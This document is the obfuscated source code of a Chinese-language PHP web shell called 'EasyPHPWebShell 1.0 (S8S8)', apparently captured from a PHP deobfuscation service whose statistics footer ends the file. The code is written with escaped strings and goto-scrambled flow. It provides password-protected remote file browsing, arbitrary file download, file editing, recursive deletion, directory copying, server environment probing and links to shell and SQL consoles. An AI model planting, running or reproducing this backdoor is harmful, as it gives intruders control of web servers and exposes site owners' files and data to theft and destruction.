array("\123\x65\156\144\x6d\141\x69\x6c\xe6\x94\xaf\346\x8c\201", my_func("\x49\x6e\164\145\x72\156\x61\154\40\x53\145\156\x64\x6d\141\x69\x6c\40\123\x75\x70\160\x6f\x72\164\40\146\157\162\40\x57\151\156\144\157\x77\x73\x20\x34", 3)); $sobj[7] = array("\x53\x4e\115\120\xe6\x94\257\346\x8c\201", my_func("\163\x6e\x6d\160\x67\145\164", 2)); $sobj[8] = array("\x50\104\x46\346\226\x87\346\xa1\243\xe6\x94\xaf\xe6\x8c\x81", my_func("\x70\x64\x66\x5f\x63\x6c\x6f\163\145", 2)); $sobj[9] = array("\x49\115\x41\x50\347\x94\xb5\345\xad\x90\351\x82\256\xe4\273\266\xe6\x94\257\346\214\201", my_func("\151\155\x61\160\137\143\x6c\157\x73\145", 2)); $sobj[10] = array("\345\x9b\276\345\275\242\xe5\244\x84\347\220\x86\x47\104\x20\x4c\151\x62\x72\x61\x72\x79\346\x94\xaf\346\214\201", my_func("\151\155\141\147\x65\x6c\151\156\145", 2)); $sobj[11] = array("\132\x45\x4e\x44\346\224\257\346\x8c\201", my_func("\172\x65\156\x64\137\166\x65\162\x73\x69\157\156", 2) . "\x28" . zend_version() . "\x29"); $sobj[12] = array("\345\205\x81\xe8\256\270\344\xbd\xbf\347\224\xa8\125\x52\x4c\xe6\211\x93\345\xbc\200\xe6\226\x87\344\273\266", my_func("\141\x6c\154\x6f\x77\x5f\x75\x72\154\x5f\x66\157\160\145\x6e", 2)); $sobj[13] = array("\x50\122\105\x4c\347\x9b\xb8\xe5\xae\xb9\xe8\257\xad\346\263\x95\40\x50\x43\122\x45", my_func("\x70\x72\x65\x67\x5f\x6d\141\x74\x63\x68", 2)); $sobj[14] = array("\xe6\x98\xbe\347\xa4\xba\351\224\x99\350\257\xaf\344\277\241\346\x81\257", my_func("\x64\x69\x73\x70\154\141\x79\x5f\x65\162\x72\157\162\163", 2)); $sobj[15] = array("\350\207\xaa\345\x8a\xa8\345\xae\232\344\271\211\xe5\205\250\xe5\261\x80\345\217\x98\xe9\x87\217", my_func("\162\x65\x67\151\x73\x74\145\x72\137\x67\x6c\x6f\142\x61\x6c\163", 2)); $sobj[16] = array("\x50\110\x50\350\xbf\220\xe8\241\214\346\226\xb9\345\274\x8f", strtoupper(php_sapi_name())); ?>
<tr>
<td align="center" bgcolor="#EEEEEE">
<table width="600" border="0" cellpadding="0" cellspacing="0"><br>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 15; $i++) { $color = ch_color($color); echo "\x3c\x74\x72\x20\142\x67\143\x6f\x6c\157\162\x3d\x22{$color}\42\76\x3c\164\144\76{$sinfo[$i][0]}\x3c\57\164\144\76\x3c\164\144\76{$sinfo[$i][1]}\x3c\57\x74\144\76\x3c\57\x74\x72\x3e"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 9; $i++) { $color = ch_color($color); echo "\x3c\164\x72\x20\142\147\143\157\154\x6f\162\x3d\42{$color}\x22\76\x3c\x74\144\76{$ssql[$i][0]}\74\x2f\x74\x64\x3e\74\164\x64\76{$ssql[$i][1]}\x3c\x2f\x74\144\x3e\x3c\57\164\162\76"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2"></td></tr>
<?php for ($i = 0; $i < 17; $i++) { $color = ch_color($color); echo "\74\164\162\x20\142\147\143\x6f\x6c\x6f\162\x3d\x22{$color}\x22\76\x3c\x74\x64\76{$sobj[$i][0]}\x3c\x2f\x74\144\76\x3c\164\144\76{$sobj[$i][1]}\x3c\57\x74\x64\x3e\x3c\57\x74\162\x3e"; } ?>
<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">PHP(",")</td></tr>
<tr bgcolor="#EEEEEE">
<form method="post" action="?action=env" enctype="multipart/form-data">
<td colspan="2">ProgIdClassId:
<input name="envname" type="text" size="50" class="style1" value=<?php echo isset($envname) ? $envname : ''; ?>
>
<input name="envnameb" type="submit" value="" class="style1">
</td>
</form>
</tr>
<?php if (isset($envname) && !empty($envname)) { $envname = explode("\54", $envname); $i = 0; while ($envname[$i]) { echo "\x3c\x74\162\40\142\147\x63\x6f\x6c\x6f\x72\x3d\x22\43\103\103\103\x43\103\x43\42\76\x3c\164\x64\40\143\x6f\x6c\x73\160\141\156\75\42\x32\42\x3e\346\x9f\245\xe8\xaf\xa2\x5b{$envname[$i]}\x5d\xe5\246\202\xe4\xb8\213\x3a\74\57\164\144\76\x3c\57\164\162\76"; echo "\74\164\162\x20\142\147\143\x6f\x6c\x6f\162\x3d\x22\x23\x45\x45\x45\x45\x45\x45\x22\76\74\x74\144\76\107\x65\164\x5f\143\x66\x67\x5f\166\x61\162\xe6\226\271\xe5\274\217\x3c\x2f\164\x64\x3e\x3c\x74\144\76" . my_func($envname[$i], 1) . "\74\x2f\x74\x64\76\x3c\57\x74\x72\76"; echo "\x3c\164\x72\x20\x62\147\x63\x6f\154\157\162\x3d\42\x23\x45\x45\105\105\105\x45\x22\76\x3c\164\x64\x3e\x66\x75\x6e\143\164\151\x6f\156\137\x65\170\x69\x73\x74\163\346\x96\xb9\345\274\x8f\x3c\57\164\x64\76\74\164\144\76" . my_func($envname[$i], 2) . "\74\57\x74\144\76\74\57\164\162\76"; echo "\74\164\x72\40\x62\147\x63\x6f\154\x6f\x72\x3d\42\43\x45\x45\x45\105\105\x45\42\76\x3c\164\144\76\x47\145\164\x5f\155\x61\x67\151\143\x5f\x71\x75\157\x74\145\x73\x5f\x67\x70\143\346\x96\xb9\xe5\274\x8f\x3c\57\164\x64\76\74\164\x64\76" . my_func($envname[$i], 3) . "\74\57\164\x64\x3e\x3c\57\164\x72\76"; echo "\x3c\164\162\40\x62\147\x63\x6f\x6c\x6f\x72\x3d\42\x23\105\x45\105\105\x45\x45\x22\x3e\x3c\164\144\76\x47\145\x74\137\x6d\141\147\x69\143\137\161\165\157\164\x65\163\x5f\x72\165\156\x74\x69\x6d\x65\xe6\226\271\xe5\274\x8f\x3c\57\x74\144\76\x3c\164\144\x3e" . my_func($envname[$i], 4) . "\74\57\x74\144\x3e\x3c\57\x74\162\76"; echo "\x3c\x74\x72\40\142\x67\143\157\x6c\157\x72\x3d\x22\x23\x45\105\x45\x45\105\105\42\x3e\x3c\x74\x64\76\x47\145\x74\x65\x6e\166\346\226\xb9\345\274\217\74\57\164\144\76\74\164\x64\76" . my_func($envname[$i], 5) . "\74\x2f\x74\x64\x3e\74\x2f\164\162\76"; $i++; } } ?>
</table><br>
</td>
</tr>
</table>
<?php } else { echo "\351\x94\231\xe8\257\257\xe7\x9a\x84\346\x8f\x90\xe4\272\244\xe5\x8f\x82\xe6\x95\xb0\x3c\57\x74\144\76\x3c\x2f\x74\162\76\74\164\x72\76\74\164\x64\x20\141\x6c\151\147\x6e\75\42\143\x65\156\x74\145\162\42\40\x62\x67\143\157\x6c\157\x72\75\42\x23\105\x45\105\x45\x45\105\x22\76\x3c\x62\162\x3e\74\141\x20\x68\162\145\146\x3d\x22\x3f\x61\143\164\151\x6f\x6e\75\144\151\x72\x26\x64\x69\162\75" . urlencode($dir) . "\x22\x3e\347\202\xb9\xe6\255\xa4\xe8\xbf\224\345\x9b\236\346\226\x87\344\273\266\xe6\265\x8f\xe8\xa7\210\xe9\241\xb5\351\x9d\xa2\74\57\x61\x3e\x3c\x70\x3e\x3c\57\164\144\x3e\x3c\x2f\x74\162\76\74\57\164\x61\x62\154\145\76"; } } } } } } } goto bqpn2; AWuv7: ?>
/"></a><a href="?action=sql"></a><a href="?action=shell">Shell</a><a href="?action=env"></a><a href="?action=phpinfo">PHP</a><a href="http://www.s8s8.net/forums/index.php?showtopic=15998"></a>
</td>
</tr>
</table>
<br>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" bgcolor="#000000" align="center" class="stylebtext3">
<?php goto Ncp6n; xhqHY: ?>
<SCRIPT LANGUAGE="JavaScript">
function rusuredel(msg,url){
smsg = "()[" + msg + "]?";
if (confirm(smsg)){
url = url + msg;
window.location = url;
}
}
function rusurechk(msg,url){
smsg = "(,)[" + msg + "],(,):";
re = prompt(smsg,msg);
if (re){
url = url + re;
window.location = url;
}
}
</script>
</head>
<body>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center" width="100%" bgcolor="#000000" class="stylebtext3">
EasyPHPWebShell 1.0(S8S8)
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE">
:<?php goto rbDeN; VY4vG: function echoend() { echo "\74\142\162\76\x3c\143\145\x6e\x74\145\x72\76\xe9\241\xb5\351\235\xa2\346\211\247\350\xa1\x8c\346\227\266\xe9\227\264\x3a" . getpageruntime() . "\x20\347\xa7\x92\x3c\142\162\76" . "\x3c\163\x70\x61\x6e\40\x63\154\x61\163\163\x20\x3d\40\42\x73\x74\x79\154\145\x62\x74\145\170\x74\x32\42\x3e\x45\x61\x73\x79\120\x48\x50\x57\x65\x62\123\x68\x65\154\154\x20\x31\x2e\x30\50\123\x38\x53\70\346\265\213\350\xaf\225\347\x89\x88\x29\74\x2f\163\x70\141\156\x3e\74\142\162\76\xe8\x84\x9a\346\x9c\xac\xe7\x94\xb1\x20\x3c\x62\76\347\xbd\x91\xe7\273\234\346\x8a\x80\xe6\234\xaf\xe8\xae\xba\345\235\x9b\50\74\x61\x20\150\x72\x65\146\x3d\42\x68\x74\x74\160\72\57\57\x77\x77\167\x2e\x73\70\x73\70\56\x6e\145\164\42\x3e\x68\164\164\160\x3a\57\57\167\167\x77\56\163\x38\163\x38\56\x6e\x65\164\x3c\57\x61\76\x29\40\x5a\126\50\74\x61\40\150\x72\145\146\x3d\x22\x6d\x61\151\x6c\x74\x6f\72\x7a\x76\x72\157\x70\x40\x31\x36\63\x2e\x63\157\155\42\76\172\x76\162\157\x70\100\x31\x36\63\56\143\157\155\74\57\x61\76\x29\74\57\x62\x3e\x20\347\xbc\x96\xe5\206\231\74\x62\x72\x3e" . "\103\x6f\x70\171\x72\151\x67\x68\164\x20\x28\103\51\x20\x32\x30\x30\64\40\x77\167\167\56\x73\x38\163\70\56\x6e\145\164\40\x41\x6c\154\40\122\x69\x67\x68\164\163\40\x52\145\163\145\x72\x76\145\144\x2e\x3c\x2f\x63\x65\x6e\164\145\x72\x3e"; } goto F2Ulm; EITZi: if (get_magic_quotes_gpc()) { $_GET = array_stripslashes($_GET); $_POST = array_stripslashes($_POST); } goto j_NHY; wJMUz: function my_func($getname, $tp) { global $rny, $rnn; $out = $tp == 1 ? @get_cfg_var($getname) : ($tp == 2 ? @function_exists($getname) : ($tp == 3 ? @get_magic_quotes_gpc($getname) : ($tp == 4 ? @get_magic_quotes_runtime($getname) : ($tp == 5 ? @Getenv($getname) : "\145\x72\162\x6f\162\41")))); return $out == 1 ? $rny : ($out == 0 ? $rnn : $out); } goto hsQxv; bqpn2: echoend(); goto qhFrx; w3Sdb: function array_stripslashes(&$array) { while (list($key, $var) = each($array)) { if ((strtoupper($key) != $key || '' . intval($key) == "{$key}") && $key != "\x61\x72\147\x63" && $key != "\141\x72\x67\x76") { if (is_string($var)) { $array[$key] = stripslashes($var); } if (is_array($var)) { $array[$key] = array_stripslashes($var); } } } return $array; } goto d1doq; aT_wk: echo "\343\x80\x90\74\x61\x20\x68\162\x65\146\x3d\42{$HTTP_SERVER_VARS["\120\x48\120\x5f\x53\x45\x4c\x46"]}\x22\76{$stmp}\74\57\x61\x3e\343\x80\221"; goto NRSk3; qhFrx: @ob_end_flush(); goto Y01CL; hsQxv: function ch_color($c) { return $c == "\43\x43\103\103\x43\x43\x43" ? "\43\105\x45\x45\x45\105\105" : "\x23\x43\103\x43\103\103\x43"; } goto lNa5o; V1940: echo urlencode($dir); goto vqT0O; P11jL: $pagestarttime = microtime(); goto EITZi; FNjcR: if (!@get_cfg_var("\162\x65\x67\x69\x73\x74\145\x72\137\x67\154\x6f\x62\141\x6c\163")) { foreach ($_GET as $key => $val) { ${$key} = $val; } foreach ($_POST as $key => $val) { ${$key} = $val; } foreach ($_FILES as $key => $val) { ${$key} = $val; } } goto wQPsw; Rw7Po: $rnn = "\x3c\x66\157\x6e\164\40\143\157\x6c\x6f\162\75\162\145\x64\x3e\74\x62\76\xe2\x96\240\x3c\57\x62\x3e\x3c\57\x66\x6f\x6e\x74\x3e"; goto xhqHY; ZZUWU: @ob_start(); goto P11jL; tYf0I: if (!isset($action)) { $action = "\144\x69\162"; $dir = "\56"; } goto ORjO3; NRSk3: ?>
<a href="?action=logout"></a>
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE"><a href="?action=dir&dir=."></a><a href="?action=editfile&dir=<?php goto V1940; rbDeN: $stmp = str_replace("\134", "\57", __FILE__); goto aT_wk; m2q3E: $rny = "\x3c\x66\157\156\164\x20\x63\157\x6c\157\x72\x3d\147\162\x65\x65\156\76\74\x62\76\342\226\240\74\x2f\142\76\74\x2f\x66\157\x6e\x74\76"; goto Rw7Po; pgTCu: if ($chkpassword == 1) { @session_start(); if ($_GET["\x61\x63\164\151\x6f\156"] == "\154\x6f\147\157\165\164") { @session_unregister("\163\155\x79\x5f\x70\x61\163\x73\x77\x6f\162\144"); @session_destroy(); @setcookie("\143\x6d\171\x5f\160\x61\x73\x73\167\x6f\x72\x64", ''); echo "\74\x73\x63\x72\x69\160\164\x3e\146\165\x6e\x63\164\151\157\156\x20\162\x65\144\x69\x72\145\143\x74\x28\x29\x7b\167\x69\156\144\x6f\x77\x2e\x6c\x6f\x63\x61\x74\x69\x6f\156\x2e\x72\x65\160\x6c\141\143\145\50\42{$_SERVER["\x50\110\x50\137\123\x45\114\106"]}\x22\x29\x3b\175\x72\145\144\151\x72\x65\143\164\x28\x29\73\x3c\x2f\163\x63\162\151\x70\164\x3e"; } if ($_GET["\141\143\x74\x69\157\x6e"] == "\x6c\x6f\x67\151\x6e") { if ($my_password == $_POST["\160\x6d\x79\137\160\x61\x73\x73\167\x6f\162\x64"]) { @session_register("\163\155\x79\x5f\x70\x61\163\x73\167\x6f\162\144"); $_SESSION["\163\x6d\171\137\160\141\x73\x73\x77\157\x72\x64"] = $my_password; @setcookie("\143\x6d\x79\x5f\x70\141\163\163\167\157\x72\x64", $my_password, time() + 3600 * $cookit_time); echo "\74\x73\143\x72\151\x70\164\x3e\146\x75\156\143\x74\151\157\156\x20\x72\x65\144\x69\x72\x65\x63\164\50\51\173\x77\x69\x6e\x64\157\x77\56\x6c\157\x63\141\164\151\157\x6e\56\162\x65\160\154\141\x63\145\50\x22{$_SERVER["\x50\x48\120\x5f\123\105\x4c\x46"]}\x22\x29\x3b\175\162\145\x64\151\x72\x65\x63\164\x28\51\x3b\x3c\x2f\163\143\x72\x69\x70\164\76"; } } if (@session_is_registered("\163\x6d\x79\x5f\x70\141\x73\x73\x77\157\x72\x64") || isset($_COOKIE["\x63\x6d\x79\x5f\x70\141\x73\x73\x77\x6f\162\144"])) { if ($_SESSION["\163\155\171\137\x70\x61\163\163\167\157\x72\144"] != $my_password && (!isset($_COOKIE["\143\x6d\x79\137\160\141\x73\163\x77\x6f\162\144"]) || $_COOKIE["\x63\155\171\137\160\x61\x73\x73\167\157\162\x64"] != $my_password)) { getloginpass(); } } else { getloginpass(); } } goto FNjcR; hpewm: ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>EasyPHPWebShell(S8S8)</title>
<style type="text/css">
<!--
body,td,th, h1, h2 {
font-size: 12px;
font-family: sans-serif;
}
body {background-color: #F8F8F8;}
.style1 {
font-size: 12px;
font-family: verdana, helvetica, sans-serif, ;
vertical-align: middle;
border: 1px solid #000000;
}
.stylebtext2 {color: #990000;font-weight: bold;}
.stylebtext3 {color: #FFFFFF;font-weight: bold;}
a:link,a:visited,a:active {color:#336699; text-decoration: underline;}
a:hover {COLOR: #990000;text-decoration: none;}
table {border-collapse: collapse;}
td, th { border: 1px solid #000000;}
-->
</style>
<?php goto iYcpK; w7Ytj: function copydir($dirf, $dirt) { $mydir = @opendir($dirf); while ($file = @readdir($mydir)) { if (is_dir("{$dirf}\x2f{$file}") && $file != "\56" && $file != "\x2e\56") { if (!file_exists("{$dirt}\57{$file}")) { if (!@mkdir("{$dirt}\x2f{$file}")) { return false; } } if (!copydir("{$dirf}\x2f{$file}", "{$dirt}\x2f{$file}")) { return false; } } else { if (!is_dir("{$dirf}\57{$file}")) { if (!@copy("{$dirf}\x2f{$file}", "{$dirt}\x2f{$file}")) { return false; } } } } return true; } goto MVk2j; wQPsw: if (isset($df_path)) { if (!file_exists($df_path)) { $errordownload = "\346\262\241\346\x89\276\xe5\210\xb0\xe6\x96\207\xe4\xbb\266"; } else { $df_name = basename($df_path); $df_fhd = fopen($df_path, "\x72\x62"); if ($df_fhd == false) { $errordownload = "\346\x89\x93\345\274\x80\346\x96\207\344\xbb\xb6\351\224\x99\350\xaf\257"; } else { Header("\103\157\156\164\x65\x6e\x74\55\x74\x79\160\145\x3a\x20\141\160\160\x6c\x69\x63\x61\164\151\157\156\57\x6f\143\x74\145\x74\55\163\164\162\145\x61\155"); Header("\x41\x63\x63\145\160\x74\x2d\122\x61\x6e\147\x65\163\x3a\x20\x62\171\164\x65\x73"); Header("\x41\x63\x63\145\160\x74\55\x4c\x65\156\147\164\150\x3a\x20" . filesize($df_path)); Header("\x43\157\x6e\164\x65\156\164\x2d\104\151\x73\160\x6f\x73\151\x74\x69\157\x6e\x3a\40\141\x74\164\x61\143\150\x6d\x65\x6e\164\73\40\146\x69\154\x65\x6e\141\x6d\x65\x3d" . $df_name); echo fread($df_fhd, filesize($df_path)); fclose($df_fhd); die; } } } goto aqiMZ; MVk2j: function truepath($path) { if (file_exists($path)) { return true; } else { if (truepath(@dirname($path))) { if (@mkdir($path)) { return true; } else { return false; } } else { return false; } } } goto wPcr6; ikHOe: @error_reporting(E_ERROR | E_WARNING | E_PARSE); goto ZZUWU; lNa5o: function getloginpass() { ?>
<br><br><br><br><br><br><br>
<table align="center" width="300" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="center" bgcolor="#000000" class="stylebtext3">
,
</td>
</tr>
<tr>
<form method="post" action="?action=login" enctype="multipart/form-data">
<td align="center" class="style1"><br>
<input name="pmy_password" type="password" size="30" class="style1"><p>
<input name="pmy_passwordb" type="submit" value=" " class="style1"><p>
</td>
</tr>
</table>
<?php die; } goto Wx5eZ; j_NHY: $chkpassword = 0; goto ckDnT; Y01CL: ?>
<?php goto w3Sdb; ORjO3: if (!isset($dir)) { $dir = "\x2e"; } goto FMhYx; X1bpO: ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>EasyPHPWebShell(S8S8)</title>
<style type="text/css">
<!--
body,td,th, h1, h2 {
font-size: 12px;
font-family: sans-serif;
}
body {background-color: #F8F8F8;}
.style1 {
font-size: 12px;
font-family: verdana, helvetica, sans-serif, ;
vertical-align: middle;
border: 1px solid #000000;
}
.stylebtext2 {color: #990000;font-weight: bold;}
.stylebtext3 {color: #FFFFFF;font-weight: bold;}
a:link,a:visited,a:active {color:#336699; text-decoration: underline;}
a:hover {COLOR: #990000;text-decoration: none;}
table {border-collapse: collapse;}
td, th { border: 1px solid #000000;}
-->
</style>
<?php goto pgTCu; iYcpK: @set_time_limit(0); goto ikHOe; FMhYx: $rootdir = str_replace("\134\134", "\x2f", $_SERVER["\x44\x4f\103\x55\115\x45\x4e\x54\x5f\x52\117\117\124"]); goto w0tF4; F2Ulm: function gettruepath($path) { return str_replace("\134", "\x2f", @realpath($path)); } goto wJMUz; GhWJn: echo urlencode($dir); goto AWuv7; EhLI9: $cookit_time = 24; goto X1bpO; d1doq: function deltree($TagDir) { $mydir = @opendir($TagDir); while ($file = @readdir($mydir)) { if (is_dir("{$TagDir}\x2f{$file}") && $file != "\56" && $file != "\x2e\56") { if (!deltree("{$TagDir}\57{$file}")) { return false; } } else { if (!is_dir("{$TagDir}\x2f{$file}")) { @chmod("{$TagDir}\x2f{$file}", 511); if (!@unlink("{$TagDir}\x2f{$file}")) { return false; } } } } @closedir($mydir); @chmod("{$TagDir}", 511); if (!@rmdir($TagDir)) { return false; } return true; } goto w7Ytj; aqiMZ: if (isset($gotodir)) { if ($gotodir != '') { $dir = $gotodir; } } goto tYf0I; wPcr6: function getpageruntime() { global $pagestarttime; $pagestarttime = explode("\40", $pagestarttime); $pageendtime = explode("\40", @microtime()); return $pageendtime[0] - $pagestarttime[0] + $pageendtime[1] - $pagestarttime[1]; } goto VY4vG; w0tF4: if (isset($abspath)) { $dir = gettruepath($dir); } else { if (isset($unabspath)) { $dir = gettruepath($dir); if (strstr($dir, $rootdir)) { $dir = str_replace("{$rootdir}", "\56", $dir); } else { $dir = "\56"; } } } goto m2q3E; Wx5eZ: ?>Function Calls
| None |
Stats
| MD5 | ba7733cf6c1a6ce217ffd4b657ed45c1 |
| Eval Count | 0 |
| Decode Time | 116 ms |